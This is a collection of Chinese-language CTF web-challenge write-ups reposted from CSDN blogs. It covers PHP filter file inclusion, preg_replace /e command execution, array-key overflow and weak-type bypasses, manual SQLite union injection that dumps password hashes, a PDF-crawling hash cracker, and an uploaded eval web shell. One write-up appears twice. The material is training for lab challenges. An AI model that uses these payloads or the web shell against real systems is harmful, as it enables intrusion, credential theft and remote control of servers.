?page=php://filter/read=convert.base64-encode/resource=index.php

为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)
输入payload得到一段base64

然后解码,分析源码

伪造XFF头来登入系统,同时利用preg_replace函数的漏洞

preg_replace( pattern , replacement , subject ) :

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换
当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123

”+“号在url中会被解释成空格号,这里用%20也行

用burpsuite来设置XFF头

继续查看 %26被url解释成&号 用来连接命令

&& 前面命令为假直接报错,后面语句不执行(前面命令执行成功,后面的命令也执行)

index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123


最后的payload

index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
cyberpeace{a3f41e3943e9bd48b8084b29e4b27182}

favorite_number

一道web题

题目并没有给我们有用的提示信息
进入环境

这个应该是网页的源码
开始代码审计

简单的代码审计

首先是个判断,既要数组强等于,又要首元素不等
然后是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测
最后是个黑名单,把常用的都排除了

我们可以很明显的看到一个麻烦的东西

if($stuff === $array && $stuff[0] != ‘admin’) {

这里即要求一个强等于,还要求首元素要不一样
然后是一个正则,还有一个黑名单
第一个应该要从php5.5.9自身的漏洞入手,去查查资料

问题出在php中key数组的溢出
https://segmentfault.com/q/1010000003871264
这个链接是一个类似的题目,刚刚查找到的漏洞就是从这篇文章了解到的
根据这道题目我们来构建本题的payload

stuff[4294967296]=admin&stuff[1]=user&num=123456

好,我们构建完成后去尝试一下

Nice~,成功绕过第一个
第二个问题就是那个数字检测了,得绕过它我们才可以进行命令查询
接着查资料
But,搜了一大堆如何绕过数字检测就是查不到资料
直接选择了看看大佬的wp

使用换行符%0a
本来想着查一下这个会不会有

直接用bp抓取后成功绕过(这里你先得保证是post传输值否则burp suite抓包后修改发送没有任何返回信息)

其实到这里题目就已经完成了,因为我们只要输入正确的命令执行语句就可以拿到flag了
在这里插入图片描述

首先查询所有信息
唉~ 这不就出来了吗
这里我们使用tac来读取文件

————————————————
版权声明:本文为CSDN博主「xixihahawuwu」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/xixihahawuwu/article/details/109995990

Lottery

上来先测试了一下,注册用户,购买彩票,拿到足够的钱,购买flag。大概就这样,发现buy.php页面,买完之后还是buy.php,没有页面的跳转,这让我有点搞不懂。

所以扫了一下网站,发现有robots.txt,访问发现

似乎也是Git泄露问题,下载一下试试,拿到很多文件

发现关键代码在api.php里面

在买彩票这里的函数:
其中$numbers来自用户json输入的{"action":"buy","numbers":"1234567"},没有检查数据类型,$win_numbers是随机生成的数字字符串
使用php弱类型松散比较,以"1"为例,和true,1,"1"相等。由于json支持布尔型数据,因此可以包改包构造数据:使你输入的和随机生成的相等所以这里就利用到了php的弱类型比较true和任何字符串比较都相等
构造{"action":"buy","numbers":[true,true,true,true,true,true,true]}两次即可
更多相关知识:https://www.cnblogs.com/LEOGG321/p/13470244.html

FlatScience




解法
我们一个一个点进去发现也就是一些论文之类的

我们御剑发现了一些东西
robots。txt
我们登录试试

在login页面有报错,我们猜测是sql注入

他的源码中写到,登录是你不可能绕过的

这里源码中出现了?debug,可能是一个调试页面,我们访问看看

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');
    
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! --> 

判定POST提交的usr和pw是否存在,很显然usr处存在注入
这里提醒是sqlite数据库
tips:

sqlite数据库有一张sqlite_master表,
里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息
我们使用sqlmap进行尝试

可见,存在注入
但是并没有跑出来,可能是我的网速问题
这里我们知道了他的数据库是sqlite
那么我们进行手工注入
1’ --+,不报错,说明闭合方式确定了。

1' order by 3 --+报错,1' order by 2 --+不报错,说明字段是2,


这里我们看到有回显了

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

我们查询到了他的数据库,发现有hint这个选项
进去看看看


这里查到,需要他的论文,
我们查询一下其他的列

1' union select id,group_concat(id) from users--+得到1,2,3

1' union select id,group_concat(name) from users--+得到admin,fritze,hansi

1' union select id,group_concat(password) from users--+得到3fab54a50e770d830c0416df817567662a9dc85c、54eae8935c90f467427f05e4ece82cf569f89507、34b0bb7c304949f9ff2fc101eef0f048be10d3bd


我们猜测,他的密码应该和pdf有关
使用网上的脚本
python3爬取多目标网页PDF文件并下载到指定目录:

import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
global pdf_list 
print(url)
req = requests.get(url).text
re_1 = re.findall(re1,req)
for i in re_1:
pdf_url = url+i
pdf_list.append(pdf_url)
re_2 = re.findall(re2,req)
for j in re_2:
new_url = url+j[0:2]
get_pdf(new_url)
return pdf_list
# return re_2

pdf_list = get_pdf('http://220.249.52.133:46876/')
print(pdf_list)
for i in pdf_list:
os.system('wget '+i)

from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_to_txt(path_to_file):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
codec = 'utf-8'
laparams = LAParams()
device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
fp = open(path_to_file, 'rb')
interpreter = PDFPageInterpreter(rsrcmgr, device)
password = ""
maxpages = 0
caching = True
pagenos=set()

for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
interpreter.process_page(page)

text = retstr.getvalue()

fp.close()
device.close()
retstr.close()
return text


def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print ("Searching word in " + i)
pdf_text = convert_pdf_to_txt("./"+i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
print ("Find the password :" + word)
exit()
        

if __name__ == "__main__":
find_password()

得到admin的密码为ThinJerboa

————————————————
版权声明:本文为CSDN博主「无名之涟」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/hxhxhxhxx/article/details/107846000

FlatScience

我们一个个点进去发现都是论文之类的,查看源码也没有发现任何做题的线索所以扫后台发现有robots.txt然后看见有login.php和admin.php
我们打开页面试试先试试数字型注入最后发现是字符型注入

在login页面有报错,我们猜测是SQL注入

从他的源码中写道,登录是你不可能绕过的

这里源码中出现了?debug,可能是一个调试页面,我们访问看看

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');
    
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! --> 

判定POST提交的usr和pw是否存在,很显然usr处存在注入
这里提醒是sqlite数据库

tips:

sqlite数据库有一张sqlite_master表,
里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息

我们使用sqlmap进行尝试

可见,存在注入
但是并没有跑出来,可能是我的网速问题
这里我们知道了他的数据库是sqlite
那么我们进行手工注入

1’ –+,不报错,说明闭合方式确定了。

1' order by 3 --+报错,1' order by 2 --+不报错,说明字段是2,


这里我们看到有回显了

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

我们查询到了他的数据库,发现有hint这个选项
进去看看看

这里查到,需要他的论文,
我们查询一下其他的列

1' union select id,group_concat(id) from users--+得到1,2,3

1' union select id,group_concat(name) from users--+得到admin,fritze,hansi

1' union select id,group_concat(password) from users--+得到3fab54a50e770d830c0416df817567662a9dc85c、54eae8935c90f467427f05e4ece82cf569f89507、34b0bb7c304949f9ff2fc101eef0f048be10d3bd

我们猜测,他的密码应该和pdf有关
使用网上的脚本
python3爬取多目标网页PDF文件并下载到指定目录:

import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
global pdf_list 
print(url)
req = requests.get(url).text
re_1 = re.findall(re1,req)
for i in re_1:
pdf_url = url+i
pdf_list.append(pdf_url)
re_2 = re.findall(re2,req)
for j in re_2:
new_url = url+j[0:2]
get_pdf(new_url)
return pdf_list

return re_2

pdf_list = get_pdf('http://220.249.52.133:46876/')
print(pdf_list)
for i in pdf_list:
os.system('wget '+i)

from io import StringIO

python3

from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_to_txt(path_to_file):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
codec = 'utf-8'
laparams = LAParams()
device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
fp = open(path_to_file, 'rb')
interpreter = PDFPageInterpreter(rsrcmgr, device)
password = ""
maxpages = 0
caching = True
pagenos=set()

for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
interpreter.process_page(page)

text = retstr.getvalue()

fp.close()
device.close()
retstr.close()
return text


def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print ("Searching word in " + i)
pdf_text = convert_pdf_to_txt("./"+i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
print ("Find the password :" + word)
exit()
        

if __name__ == "__main__":
find_password()

得到admin的密码为ThinJerboa

ics-07

1.进入题目后,查看源码进行审计,第一步需要进行绕过,获取到admin的session。

2.绕过要注意的三个点为:

​ (1)floatval($ _ GET [id])!==‘1’ //浮点不为1

​ (2)substr($ _ GET [id],-1)==='9‘ //id最后一位为9

​ (3)Mysql查询结果限制,id不能过大,

3.构建后exp为http://111.198.29.45:43136/index.php?page=&id=1/9&submit=提交查询#,可得到admin,如图所示

4.然后是文件过滤,要注意的三个点为:

​ (1) f i l e n a m e = " b a c k u p / " . filename = "backup/". filename="backup/".file; //目录为假目录,传入file时,加上一个…/

​ (2)

’/.+.ph(p[3457]?|t|tml)$/i’ //正则过滤文件只匹配最后一个点的后缀,可以写入两次.php

​ (3)真实上传目录为upload
当session值为admin时然后用post上传

con=<?php @eval($_POST[cmd]);?>&file=3.php/1.php/..

即可然后打开看是否上传成功

然后用蚁剑进行连接


————————————————
版权声明:本文为CSDN博主「小 白 渣」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_45552960/article/details/102777514